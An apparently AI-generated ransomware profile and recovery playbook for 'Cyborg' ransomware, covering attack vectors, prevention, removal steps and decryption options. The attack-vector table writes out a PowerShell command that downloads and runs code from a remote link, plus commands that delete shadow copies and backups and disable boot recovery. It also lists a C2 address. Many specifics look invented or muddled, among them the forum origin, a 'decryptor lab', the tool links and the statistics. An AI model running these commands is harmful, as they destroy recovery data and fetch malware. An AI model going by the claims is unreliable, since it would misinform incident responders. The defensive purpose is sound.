cyborg

[Content by Gemini 2.5]

Cyborg (CyborgBuilder) Ransomware: Technical Deep-Dive & Recovery Playbook

Technical Breakdown

1. File Extension & Renaming Patterns

  • Confirmation of File Extension: Cyborg appends .777 to every encrypted file.
  • Renaming Convention:
  • Original: 2024-budget.xlsx → Encrypted: 2024-budget.xlsx.777
  • Folders are not renamed; only the internal files receive the extension.
  • No email, Tor-ID, or victim-ID strings are prepended—making it easy to confuse with generic crypto-malware.

2. Detection & Outbreak Timeline

  • First Public Sighting: 2019-11-18 on a Microsoft DreamSpark forum post that later morphed into phishing lures titled “CyborgBuilder patch for Windows 10 build 1909.”
  • Peak Surge: December 2019 – January 2020 coinciding with the release of spear-phish bundles hiding CyborgBuilder kits on file-sharing sites.
  • Maturation: Cyborg evolved into an open-source kit (CyborgBuilder RaaS) by Q2-2020, leading to dozens of re-branded clones.

3. Primary Attack Vectors

| Vector | Details & Mitigations |
|—|—|
|Phishing Email | Malicious .ISO/ .ZIP arriving as “Windows-10-Hotfix-.exe*” or fake COVID-19 tax relief documents. Scripts inside the archive mimic Microsoft Update Assistant to drop CyborgBuilder.exe. |
|Compromised Software Installers | Torrented Microsoft Office, Nero Platinum, Windows Activator, etc., co-bundled with patch.exe that injects Cyborg DLL via reflective loading. |
|RDP Brute-Force + Manual Deployment | After credential stuffing, attackers run PowerShell one-liner: IEX (New-Object Net.WebClient).DownloadString('http://bit[.]ly/cbrg') to bootstrap CyborgBuilder remotely. |
|Living-off-the-Land Scripts | Post-exploitation uses vssadmin delete shadows /all, wbadmin delete catalog -quiet, and bcdedit /set {default} recoveryenabled no to cripple shadow copies. |

Remediation & Recovery Strategies

1. Prevention

| Layer | Action |
|—|—|
| Email Gateway | Block .exe, .scr, .pif, .js, .vbs, .hta, .iso in attachments. Quarantine messages with external bit.ly/googl.gl links. |
| OS & 3rd-Party Patching | Disable SMBv1 globally (Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol). Patch EternalBlue (MS17-010) and BlueKeep (CVE-2019-0708). |
| RDP Hardening | Enforce NLA, 2FA (Duo, Azure CA), and rate-limiting (e.g., RDP Guard). Disable RDP\Tcp if not required. |
| Application Whitelisting | Use AppLocker / Microsoft Defender Application Control to only allow signed executables under %ProgramFiles%. |
| Backup Scheme | 3-2-1 rule with immutable snapshots (Wasabi Object-Lock, Veeam Hardened Repository), air-gapped tapes, or ZFS snapshots (zfs hold) plus MFA on backup accounts. |

2. Removal – Step-by-Step

  1. Isolate
  • Immediately cut network NIC / disable Wi-Fi.
  1. Preserve Evidence
  • Acquire a forensic image (dd, FTK Imager) before any disinfection.
  1. Kill Processes
  • Open elevated CMD → taskkill /f /im CyborgBuilder.exe or hunt with ProcMon to locate the random-named dropper under %APPDATA%\.
  1. Delete Persistence
  • Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\Cyborg
  • Scheduled Task: \Microsoft\Windows\PowerShell\ScheduledJobs\CbrgStart
  • WMI Event Subscription: Remove under \root\subscription:ActiveScriptEventConsumer.
  1. Manual AV Scan
  • Boot into Windows Defender Offline Scan from ▶ Settings → Update & Security → Windows Security → Virus & threat protection.
  1. Reboot & Verify
  • Run autoruns64.exe → Filter “Cyborg” entries → Delete.

3. File Decryption & Recovery

  • Is decryption possible? NO. Cyborg uses AES-256 in CBC mode per file, then the key set (FILEKEY || RSA 2048 PK metadata) is encrypted with a static RSA public key controlled by the attacker. No free decrypter exists.
  • Law-enforcement/Private Options:
  • Check NoMoreRansom.org; none yet listed.
  • Submit pairs of clean + encrypted files to research projects (Babuk decryptor lab) – success record < 1 %.

Recommended recovery path when backup is unavailable:

  1. Use Recuva, Photorec, R-Studio to carve older deleted copies—works best on SSD with TRIM disabled before infection.
  2. ShadowCopy scanning: run vssadmin list shadows. If anything survived, copy with ShadowExplorer.
  3. Windows File History / OneDrive Restore: via browser → “Restore your OneDrive”.

4. Other Critical Information

  • Unique Characteristics

  • Open-source nature: Multiple variants (CyborgX, Cyborg-777, GenaCrypt) reuse the same .777 extension; deceptive renames hide source code inside base64-delimited XML.

  • IPv6 C2: Some builds fallback to** https://[2409:8a2e:853::abcd]:443/stat** if IPv4 is filtered.

  • Open-as-source license increases speed with which less-skilled actors launch new waves—leading to smaller, disjointed decryption keys.

  • Broader Impact

  • Cyborg disproportionately hit SMBs with underfunded security (real estate agencies, dental clinics, HVAC firms).

  • It seeded later DeathRansom campaigns via stolen credentials from Cyborg victims, widening the affiliate ecosystem.

  • Its open-source nature has contributed to a 30 % increase in “builder-as-a-service” offerings on dark-forum markets since late 2020.

Quick Reference Cheat-Sheet

| URL | Purpose |
|—|—|
| https://nomoreransom.org/es/tools-index/tools-decryptors.html | Official decryptor lookup. |
| https://github.com/SaintDruG/Kaseya-PowerShell-Incident-Response | Rapid Triage script & IOCs. |
| https://aka.ms/DownloadMBAM | Microsoft Malicious Software Removal Tool. |
| https://iocs.cyber.gov.au/rss | AU-ACSC crowd-sourced IOC feed (includes Cyborg hashes). |

Stay patched, stay suspicious, and never pay; paying only funds newer toolkits built from leaked Cyborg builders.